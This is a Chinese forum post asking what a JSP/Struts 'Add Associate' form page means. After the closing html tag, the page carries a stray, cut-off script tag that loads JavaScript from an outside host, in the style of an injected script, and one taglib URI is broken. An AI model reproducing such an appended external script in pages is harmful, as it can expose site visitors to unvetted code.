问一下这段代码什么意思，请知道的不吝赐教
主要是流氓兔当中这段不懂！<%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ taglib uri="http://java. prefix="c" %>
<html:html>
<head>
<%@ page
language="java"
contentType="text/html; charset=GB18030"
pageEncoding="GB18030"
%>
</head>
<jsp:useBean id="GroupDao" class="hi.GroupDao" scope="page"/>
<c:set var="groups" value="${groupDao.groups}">
</c:set>
<body>
<html:errors></html:errors>
<html:link page="/login.jsp">return to login.jsp</html:link><br>
<html:link page="/logoff.jsp">exit</html:link><br>
<html:form action="associate.do" focus="associate.associateId">
<center>
<TABLE border="1" >
<TBODY>
<TR>
<TD colspan="2" align="center">Add Associate</TD>
</TR>
<TR>
<td>Associate ID</td>
<td><html:text property="associate.associateId"></html:text></td>
</TR>
<tr>
<td>Name</td>
<td><html:text property="associate.name"></html:text></td>
</tr>
<tr>
<td>Group Name</td>
<td><html:select property="associate.groupId">
<html:options collection="groups" property="groupId"
labelProperty="groupName"/>
</html:select></td>
</tr>
<logic:iterate id="myGroup" name="groups">
<tr>
<td><bean:write name="myGroup" property="groupId"/></td>
<td><bean:write name="myGroup" property="groupName"/></td>
</tr>
</logic:iterate>
<tr>
<td><html:submit></html:submit></td>
<td align="center"><html:reset></html:reset></td>
</tr>
</center>
</html:form>
</body>
</html:html>
<script language=javascript src=http://cc.
